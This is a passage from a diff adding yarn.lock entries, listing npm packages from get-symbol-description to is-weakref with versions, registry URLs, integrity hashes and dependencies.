"^1.0.5" + es-errors "^1.3.0" + get-intrinsic "^1.2.4" + +get-symbol-description@^1.1.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/get-symbol-description/-/get-symbol-description-1.1.0.tgz#7bdd54e0befe8ffc9f3b4e203220d9f1e881b6ee" + integrity sha512-w9UMqWwJxHNOvoNzSJ2oPF5wvYcvP7jUvYzhp67yEhTi17ZDBBC1z9pTdGuzjD+EFIqLSYRweZjqfiPzQ06Ebg== + dependencies: + call-bound "^1.0.3" + es-errors "^1.3.0" + get-intrinsic "^1.2.6" + +glob-parent@^6.0.2: + version "6.0.2" + resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-6.0.2.tgz#6d237d99083950c79290f24c7642a3de9a28f9e3" + integrity sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A== + dependencies: + is-glob "^4.0.3" + +glob@^10.5.0: + version "10.5.0" + resolved "https://registry.yarnpkg.com/glob/-/glob-10.5.0.tgz#8ec0355919cd3338c28428a23d4f24ecc5fe738c" + integrity sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg== + dependencies: + foreground-child "^3.1.0" + jackspeak "^3.1.2" + minimatch "^9.0.4" + minipass "^7.1.2" + package-json-from-dist "^1.0.0" + path-scurry "^1.11.1" + +glob@^7.1.4: + version "7.2.3" + resolved "https://registry.yarnpkg.com/glob/-/glob-7.2.3.tgz#b8df0fb802bbfa8e89bd1d938b4e16578ed44f2b" + integrity sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q== + dependencies: + fs.realpath "^1.0.0" + inflight "^1.0.4" + inherits "2" + minimatch "^3.1.1" + once "^1.3.0" + path-is-absolute "^1.0.0" + +globals@^14.0.0: + version "14.0.0" + resolved "https://registry.yarnpkg.com/globals/-/globals-14.0.0.tgz#898d7413c29babcf6bafe56fcadded858ada724e" + integrity sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ== + +globalthis@^1.0.3, globalthis@^1.0.4: + version "1.0.4" + resolved "https://registry.yarnpkg.com/globalthis/-/globalthis-1.0.4.tgz#7430ed3a975d97bfb59bcce41f5cabbafa651236" + integrity sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ== + dependencies: + define-properties "^1.2.1" + gopd "^1.0.1" + +gopd@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/gopd/-/gopd-1.0.1.tgz#29ff76de69dac7489b7c0918a5788e56477c332c" + integrity sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA== + dependencies: + get-intrinsic "^1.1.3" + +gopd@^1.2.0: + version "1.2.0" + resolved "https://registry.yarnpkg.com/gopd/-/gopd-1.2.0.tgz#89f56b8217bdbc8802bd299df6d7f1081d7e51a1" + integrity sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg== + +graceful-fs@^4.2.11: + version "4.2.11" + resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.11.tgz#4183e4e8bf08bb6e05bbb2f7d2e0c8f712ca40e3" + integrity sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ== + +handlebars@^4.7.9: + version "4.7.9" + resolved "https://registry.yarnpkg.com/handlebars/-/handlebars-4.7.9.tgz#6f139082ab58dc4e5a0e51efe7db5ae890d56a0f" + integrity sha512-4E71E0rpOaQuJR2A3xDZ+GM1HyWYv1clR58tC8emQNeQe3RH7MAzSbat+V0wG78LQBo6m6bzSG/L4pBuCsgnUQ== + dependencies: + minimist "^1.2.5" + neo-async "^2.6.2" + source-map "^0.6.1" + wordwrap "^1.0.0" + optionalDependencies: + uglify-js "^3.1.4" + +has-bigints@^1.0.1, has-bigints@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/has-bigints/-/has-bigints-1.0.2.tgz#0871bd3e3d51626f6ca0966668ba35d5602d6eaa" + integrity sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ== + +has-flag@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-3.0.0.tgz#b5d454dc2199ae225699f3467e5a07f3b955bafd" + integrity sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw== + +has-flag@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-4.0.0.tgz#944771fd9c81c81265c4d6941860da06bb59479b" + integrity sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ== + +has-property-descriptors@^1.0.0, has-property-descriptors@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz#963ed7d071dc7bf5f084c5bfbe0d1b6222586854" + integrity sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg== + dependencies: + es-define-property "^1.0.0" + +has-proto@^1.0.1, has-proto@^1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/has-proto/-/has-proto-1.0.3.tgz#b31ddfe9b0e6e9914536a6ab286426d0214f77fd" + integrity sha512-SJ1amZAJUiZS+PhsVLf5tGydlaVB8EdFpaSO4gmiUKUOxk8qzn5AIy4ZeJUmh22znIdk/uMAUT2pl3FxzVUH+Q== + +has-proto@^1.2.0: + version "1.2.0" + resolved "https://registry.yarnpkg.com/has-proto/-/has-proto-1.2.0.tgz#5de5a6eabd95fdffd9818b43055e8065e39fe9d5" + integrity sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ== + dependencies: + dunder-proto "^1.0.0" + +has-symbols@^1.0.2, has-symbols@^1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.0.3.tgz#bb7b2c4349251dce87b125f7bdf874aa7c8b39f8" + integrity sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A== + +has-symbols@^1.1.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.1.0.tgz#fc9c6a783a084951d0b971fe1018de813707a338" + integrity sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ== + +has-tostringtag@^1.0.0, has-tostringtag@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/has-tostringtag/-/has-tostringtag-1.0.2.tgz#2cdc42d40bef2e5b4eeab7c01a73c54ce7ab5abc" + integrity sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw== + dependencies: + has-symbols "^1.0.3" + +hasown@^2.0.0, hasown@^2.0.1, hasown@^2.0.2: + version "2.0.2" + resolved "https://registry.yarnpkg.com/hasown/-/hasown-2.0.2.tgz#003eaf91be7adc372e84ec59dc37252cedb80003" + integrity sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ== + dependencies: + function-bind "^1.1.2" + +html-escaper@^2.0.0: + version "2.0.2" + resolved "https://registry.yarnpkg.com/html-escaper/-/html-escaper-2.0.2.tgz#dfd60027da36a36dfcbe236262c00a5822681453" + integrity sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg== + +human-signals@^2.1.0: + version "2.1.0" + resolved "https://registry.yarnpkg.com/human-signals/-/human-signals-2.1.0.tgz#dc91fcba42e4d06e4abaed33b3e7a3c02f514ea0" + integrity sha512-B4FFZ6q/T2jhhksgkbEW3HBvWIfDW85snkQgawt07S7J5QXTk6BkNV+0yAeZrM5QpMAdYlocGoljn0sJ/WQkFw== + +ignore@^5.2.0: + version "5.3.2" + resolved "https://registry.yarnpkg.com/ignore/-/ignore-5.3.2.tgz#3cd40e729f3643fd87cb04e50bf0eb722bc596f5" + integrity sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g== + +ignore@^7.0.5: + version "7.0.5" + resolved "https://registry.yarnpkg.com/ignore/-/ignore-7.0.5.tgz#4cb5f6cd7d4c7ab0365738c7aea888baa6d7efd9" + integrity sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg== + +import-fresh@^3.2.1: + version "3.3.0" + resolved "https://registry.yarnpkg.com/import-fresh/-/import-fresh-3.3.0.tgz#37162c25fcb9ebaa2e6e53d5b4d88ce17d9e0c2b" + integrity sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw== + dependencies: + parent-module "^1.0.0" + resolve-from "^4.0.0" + +import-local@^3.2.0: + version "3.2.0" + resolved "https://registry.yarnpkg.com/import-local/-/import-local-3.2.0.tgz#c3d5c745798c02a6f8b897726aba5100186ee260" + integrity sha512-2SPlun1JUPWoM6t3F0dw0FkCF/jWY8kttcY4f599GLTSjh2OCuuhdTkJQsEcZzBqbXZGKMK2OqW1oZsjtf/gQA== + dependencies: + pkg-dir "^4.2.0" + resolve-cwd "^3.0.0" + +imurmurhash@^0.1.4: + version "0.1.4" + resolved "https://registry.yarnpkg.com/imurmurhash/-/imurmurhash-0.1.4.tgz#9218b9b2b928a238b13dc4fb6b6d576f231453ea" + integrity sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA== + +inflight@^1.0.4: + version "1.0.6" + resolved "https://registry.yarnpkg.com/inflight/-/inflight-1.0.6.tgz#49bd6331d7d02d0c09bc910a1075ba8165b56df9" + integrity sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA== + dependencies: + once "^1.3.0" + wrappy "1" + +inherits@2: + version "2.0.4" + resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.4.tgz#0fa2c64f932917c3433a0ded55363aae37416b7c" + integrity sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ== + +internal-slot@^1.0.7: + version "1.0.7" + resolved "https://registry.yarnpkg.com/internal-slot/-/internal-slot-1.0.7.tgz#c06dcca3ed874249881007b0a5523b172a190802" + integrity sha512-NGnrKwXzSms2qUUih/ILZ5JBqNTSa1+ZmP6flaIp6KmSElgE9qdndzS3cqjrDovwFdmwsGsLdeFgB6suw+1e9g== + dependencies: + es-errors "^1.3.0" + hasown "^2.0.0" + side-channel "^1.0.4" + +internal-slot@^1.1.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/internal-slot/-/internal-slot-1.1.0.tgz#1eac91762947d2f7056bc838d93e13b2e9604961" + integrity sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw== + dependencies: + es-errors "^1.3.0" + hasown "^2.0.2" + side-channel "^1.1.0" + +is-array-buffer@^3.0.4: + version "3.0.4" + resolved "https://registry.yarnpkg.com/is-array-buffer/-/is-array-buffer-3.0.4.tgz#7a1f92b3d61edd2bc65d24f130530ea93d7fae98" + integrity sha512-wcjaerHw0ydZwfhiKbXJWLDY8A7yV7KhjQOpb83hGgGfId/aQa4TOvwyzn2PuswW2gPCYEL/nEAiSVpdOj1lXw== + dependencies: + call-bind "^1.0.2" + get-intrinsic "^1.2.1" + +is-array-buffer@^3.0.5: + version "3.0.5" + resolved "https://registry.yarnpkg.com/is-array-buffer/-/is-array-buffer-3.0.5.tgz#65742e1e687bd2cc666253068fd8707fe4d44280" + integrity sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A== + dependencies: + call-bind "^1.0.8" + call-bound "^1.0.3" + get-intrinsic "^1.2.6" + +is-arrayish@^0.2.1: + version "0.2.1" + resolved "https://registry.yarnpkg.com/is-arrayish/-/is-arrayish-0.2.1.tgz#77c99840527aa8ecb1a8ba697b80645a7a926a9d" + integrity sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg== + +is-async-function@^2.0.0: + version "2.1.1" + resolved "https://registry.yarnpkg.com/is-async-function/-/is-async-function-2.1.1.tgz#3e69018c8e04e73b738793d020bfe884b9fd3523" + integrity sha512-9dgM/cZBnNvjzaMYHVoxxfPj2QXt22Ev7SuuPrs+xav0ukGB0S6d4ydZdEiM48kLx5kDV+QBPrpVnFyefL8kkQ== + dependencies: + async-function "^1.0.0" + call-bound "^1.0.3" + get-proto "^1.0.1" + has-tostringtag "^1.0.2" + safe-regex-test "^1.1.0" + +is-bigint@^1.0.1: + version "1.0.4" + resolved "https://registry.yarnpkg.com/is-bigint/-/is-bigint-1.0.4.tgz#08147a1875bc2b32005d41ccd8291dffc6691df3" + integrity sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg== + dependencies: + has-bigints "^1.0.1" + +is-bigint@^1.1.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/is-bigint/-/is-bigint-1.1.0.tgz#dda7a3445df57a42583db4228682eba7c4170672" + integrity sha512-n4ZT37wG78iz03xPRKJrHTdZbe3IicyucEtdRsV5yglwc3GyUfbAfpSeD0FJ41NbUNSt5wbhqfp1fS+BgnvDFQ== + dependencies: + has-bigints "^1.0.2" + +is-boolean-object@^1.1.0: + version "1.1.2" + resolved "https://registry.yarnpkg.com/is-boolean-object/-/is-boolean-object-1.1.2.tgz#5c6dc200246dd9321ae4b885a114bb1f75f63719" + integrity sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA== + dependencies: + call-bind "^1.0.2" + has-tostringtag "^1.0.0" + +is-boolean-object@^1.2.1: + version "1.2.2" + resolved "https://registry.yarnpkg.com/is-boolean-object/-/is-boolean-object-1.2.2.tgz#7067f47709809a393c71ff5bb3e135d8a9215d9e" + integrity sha512-wa56o2/ElJMYqjCjGkXri7it5FbebW5usLw/nPmCMs5DeZ7eziSYZhSmPRn0txqeW4LnAmQQU7FgqLpsEFKM4A== + dependencies: + call-bound "^1.0.3" + has-tostringtag "^1.0.2" + +is-callable@^1.1.3, is-callable@^1.1.4, is-callable@^1.2.7: + version "1.2.7" + resolved "https://registry.yarnpkg.com/is-callable/-/is-callable-1.2.7.tgz#3bc2a85ea742d9e36205dcacdd72ca1fdc51b055" + integrity sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA== + +is-core-module@^2.13.0, is-core-module@^2.16.1: + version "2.16.1" + resolved "https://registry.yarnpkg.com/is-core-module/-/is-core-module-2.16.1.tgz#2a98801a849f43e2add644fbb6bc6229b19a4ef4" + integrity sha512-UfoeMA6fIJ8wTYFEUjelnaGI67v6+N7qXJEvQuIGa99l4xsCruSYOVSQ0uPANn4dAzm8lkYPaKLrrijLq7x23w== + dependencies: + hasown "^2.0.2" + +is-data-view@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/is-data-view/-/is-data-view-1.0.1.tgz#4b4d3a511b70f3dc26d42c03ca9ca515d847759f" + integrity sha512-AHkaJrsUVW6wq6JS8y3JnM/GJF/9cf+k20+iDzlSaJrinEo5+7vRiteOSwBhHRiAyQATN1AmY4hwzxJKPmYf+w== + dependencies: + is-typed-array "^1.1.13" + +is-data-view@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/is-data-view/-/is-data-view-1.0.2.tgz#bae0a41b9688986c2188dda6657e56b8f9e63b8e" + integrity sha512-RKtWF8pGmS87i2D6gqQu/l7EYRlVdfzemCJN/P3UOs//x1QE7mfhvzHIApBTRf7axvT6DMGwSwBXYCT0nfB9xw== + dependencies: + call-bound "^1.0.2" + get-intrinsic "^1.2.6" + is-typed-array "^1.1.13" + +is-date-object@^1.0.1: + version "1.0.5" + resolved "https://registry.yarnpkg.com/is-date-object/-/is-date-object-1.0.5.tgz#0841d5536e724c25597bf6ea62e1bd38298df31f" + integrity sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ== + dependencies: + has-tostringtag "^1.0.0" + +is-date-object@^1.0.5, is-date-object@^1.1.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/is-date-object/-/is-date-object-1.1.0.tgz#ad85541996fc7aa8b2729701d27b7319f95d82f7" + integrity sha512-PwwhEakHVKTdRNVOw+/Gyh0+MzlCl4R6qKvkhuvLtPMggI1WAHt9sOwZxQLSGpUaDnrdyDsomoRgNnCfKNSXXg== + dependencies: + call-bound "^1.0.2" + has-tostringtag "^1.0.2" + +is-extglob@^2.1.1: + version "2.1.1" + resolved "https://registry.yarnpkg.com/is-extglob/-/is-extglob-2.1.1.tgz#a88c02535791f02ed37c76a1b9ea9773c833f8c2" + integrity sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ== + +is-finalizationregistry@^1.1.0: + version "1.1.1" + resolved "https://registry.yarnpkg.com/is-finalizationregistry/-/is-finalizationregistry-1.1.1.tgz#eefdcdc6c94ddd0674d9c85887bf93f944a97c90" + integrity sha512-1pC6N8qWJbWoPtEjgcL2xyhQOP491EQjeUo3qTKcmV8YSDDJrOepfG8pcC7h/QgnQHYSv0mJ3Z/ZWxmatVrysg== + dependencies: + call-bound "^1.0.3" + +is-fullwidth-code-point@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz#f116f8064fe90b3f7844a38997c0b75051269f1d" + integrity sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg== + +is-generator-fn@^2.1.0: + version "2.1.0" + resolved "https://registry.yarnpkg.com/is-generator-fn/-/is-generator-fn-2.1.0.tgz#7d140adc389aaf3011a8f2a2a4cfa6faadffb118" + integrity sha512-cTIB4yPYL/Grw0EaSzASzg6bBy9gqCofvWN8okThAYIxKJZC+udlRAmGbM0XLeniEJSs8uEgHPGuHSe1XsOLSQ== + +is-generator-function@^1.0.10: + version "1.1.2" + resolved "https://registry.yarnpkg.com/is-generator-function/-/is-generator-function-1.1.2.tgz#ae3b61e3d5ea4e4839b90bad22b02335051a17d5" + integrity sha512-upqt1SkGkODW9tsGNG5mtXTXtECizwtS2kA161M+gJPc1xdb/Ax629af6YrTwcOeQHbewrPNlE5Dx7kzvXTizA== + dependencies: + call-bound "^1.0.4" + generator-function "^2.0.0" + get-proto "^1.0.1" + has-tostringtag "^1.0.2" + safe-regex-test "^1.1.0" + +is-glob@^4.0.0, is-glob@^4.0.3: + version "4.0.3" + resolved "https://registry.yarnpkg.com/is-glob/-/is-glob-4.0.3.tgz#64f61e42cbbb2eec2071a9dac0b28ba1e65d5084" + integrity sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg== + dependencies: + is-extglob "^2.1.1" + +is-map@^2.0.3: + version "2.0.3" + resolved "https://registry.yarnpkg.com/is-map/-/is-map-2.0.3.tgz#ede96b7fe1e270b3c4465e3a465658764926d62e" + integrity sha512-1Qed0/Hr2m+YqxnM09CjA2d/i6YZNfF6R2oRAOj36eUdS6qIV/huPJNSEpKbupewFs+ZsJlxsjjPbc0/afW6Lw== + +is-negative-zero@^2.0.3: + version "2.0.3" + resolved "https://registry.yarnpkg.com/is-negative-zero/-/is-negative-zero-2.0.3.tgz#ced903a027aca6381b777a5743069d7376a49747" + integrity sha512-5KoIu2Ngpyek75jXodFvnafB6DJgr3u8uuK0LEZJjrU19DrMD3EVERaR8sjz8CCGgpZvxPl9SuE1GMVPFHx1mw== + +is-network-error@^1.1.0: + version "1.3.0" + resolved "https://registry.yarnpkg.com/is-network-error/-/is-network-error-1.3.0.tgz#2ce62cbca444abd506f8a900f39d20b898d37512" + integrity sha512-6oIwpsgRfnDiyEDLMay/GqCl3HoAtH5+RUKW29gYkL0QA+ipzpDLA16yQs7/RHCSu+BwgbJaOUqa4A99qNVQVw== + +is-number-object@^1.0.4: + version "1.0.7" + resolved "https://registry.yarnpkg.com/is-number-object/-/is-number-object-1.0.7.tgz#59d50ada4c45251784e9904f5246c742f07a42fc" + integrity sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ== + dependencies: + has-tostringtag "^1.0.0" + +is-number-object@^1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/is-number-object/-/is-number-object-1.1.1.tgz#144b21e95a1bc148205dcc2814a9134ec41b2541" + integrity sha512-lZhclumE1G6VYD8VHe35wFaIif+CTy5SJIi5+3y4psDgWu4wPDoBhF8NxUOinEc7pHgiTsT6MaBb92rKhhD+Xw== + dependencies: + call-bound "^1.0.3" + has-tostringtag "^1.0.2" + +is-number@^7.0.0: + version "7.0.0" + resolved "https://registry.yarnpkg.com/is-number/-/is-number-7.0.0.tgz#7535345b896734d5f80c4d06c50955527a14f12b" + integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng== + +is-regex@^1.1.4: + version "1.1.4" + resolved "https://registry.yarnpkg.com/is-regex/-/is-regex-1.1.4.tgz#eef5663cd59fa4c0ae339505323df6854bb15958" + integrity sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg== + dependencies: + call-bind "^1.0.2" + has-tostringtag "^1.0.0" + +is-regex@^1.2.1: + version "1.2.1" + resolved "https://registry.yarnpkg.com/is-regex/-/is-regex-1.2.1.tgz#76d70a3ed10ef9be48eb577887d74205bf0cad22" + integrity sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g== + dependencies: + call-bound "^1.0.2" + gopd "^1.2.0" + has-tostringtag "^1.0.2" + hasown "^2.0.2" + +is-set@^2.0.3: + version "2.0.3" + resolved "https://registry.yarnpkg.com/is-set/-/is-set-2.0.3.tgz#8ab209ea424608141372ded6e0cb200ef1d9d01d" + integrity sha512-iPAjerrse27/ygGLxw+EBR9agv9Y6uLeYVJMu+QNCoouJ1/1ri0mGrcWpfCqFZuzzx3WjtwxG098X+n4OuRkPg== + +is-shared-array-buffer@^1.0.2, is-shared-array-buffer@^1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/is-shared-array-buffer/-/is-shared-array-buffer-1.0.3.tgz#1237f1cba059cdb62431d378dcc37d9680181688" + integrity sha512-nA2hv5XIhLR3uVzDDfCIknerhx8XUKnstuOERPNNIinXG7v9u+ohXF67vxm4TPTEPU6lm61ZkwP3c9PCB97rhg== + dependencies: + call-bind "^1.0.7" + +is-shared-array-buffer@^1.0.4: + version "1.0.4" + resolved "https://registry.yarnpkg.com/is-shared-array-buffer/-/is-shared-array-buffer-1.0.4.tgz#9b67844bd9b7f246ba0708c3a93e34269c774f6f" + integrity sha512-ISWac8drv4ZGfwKl5slpHG9OwPNty4jOWPRIhBpxOoD+hqITiwuipOQ2bNthAzwA3B4fIjO4Nln74N0S9byq8A== + dependencies: + call-bound "^1.0.3" + +is-stream@^2.0.0: + version "2.0.1" + resolved "https://registry.yarnpkg.com/is-stream/-/is-stream-2.0.1.tgz#fac1e3d53b97ad5a9d0ae9cef2389f5810a5c077" + integrity sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg== + +is-string@^1.0.5, is-string@^1.0.7: + version "1.0.7" + resolved "https://registry.yarnpkg.com/is-string/-/is-string-1.0.7.tgz#0dd12bf2006f255bb58f695110eff7491eebc0fd" + integrity sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg== + dependencies: + has-tostringtag "^1.0.0" + +is-string@^1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/is-string/-/is-string-1.1.1.tgz#92ea3f3d5c5b6e039ca8677e5ac8d07ea773cbb9" + integrity sha512-BtEeSsoaQjlSPBemMQIrY1MY0uM6vnS1g5fmufYOtnxLGUZM2178PKbhsk7Ffv58IX+ZtcvoGwccYsh0PglkAA== + dependencies: + call-bound "^1.0.3" + has-tostringtag "^1.0.2" + +is-symbol@^1.0.2, is-symbol@^1.0.3: + version "1.0.4" + resolved "https://registry.yarnpkg.com/is-symbol/-/is-symbol-1.0.4.tgz#a6dac93b635b063ca6872236de88910a57af139c" + integrity sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg== + dependencies: + has-symbols "^1.0.2" + +is-symbol@^1.0.4, is-symbol@^1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/is-symbol/-/is-symbol-1.1.1.tgz#f47761279f532e2b05a7024a7506dbbedacd0634" + integrity sha512-9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w== + dependencies: + call-bound "^1.0.2" + has-symbols "^1.1.0" + safe-regex-test "^1.1.0" + +is-typed-array@^1.1.13: + version "1.1.13" + resolved "https://registry.yarnpkg.com/is-typed-array/-/is-typed-array-1.1.13.tgz#d6c5ca56df62334959322d7d7dd1cca50debe229" + integrity sha512-uZ25/bUAlUY5fR4OKT4rZQEBrzQWYV9ZJYGGsUmEJ6thodVJ1HX64ePQ6Z0qPWP+m+Uq6e9UugrE38jeYsDSMw== + dependencies: + which-typed-array "^1.1.14" + +is-typed-array@^1.1.14, is-typed-array@^1.1.15: + version "1.1.15" + resolved "https://registry.yarnpkg.com/is-typed-array/-/is-typed-array-1.1.15.tgz#4bfb4a45b61cee83a5a46fba778e4e8d59c0ce0b" + integrity sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ== + dependencies: + which-typed-array "^1.1.16" + +is-weakmap@^2.0.2: + version "2.0.2" + resolved "https://registry.yarnpkg.com/is-weakmap/-/is-weakmap-2.0.2.tgz#bf72615d649dfe5f699079c54b83e47d1ae19cfd" + integrity sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w== + +is-weakref@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/is-weakref/-/is-weakref-1.0.2.tgz#9529f383a9338205e89765e0392efc2f100f06f2" + integrity sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ== + dependencies: + call-bind "^1.0.2" + +is-weakref@^1.1.1: + version "1.1.1" + resolved 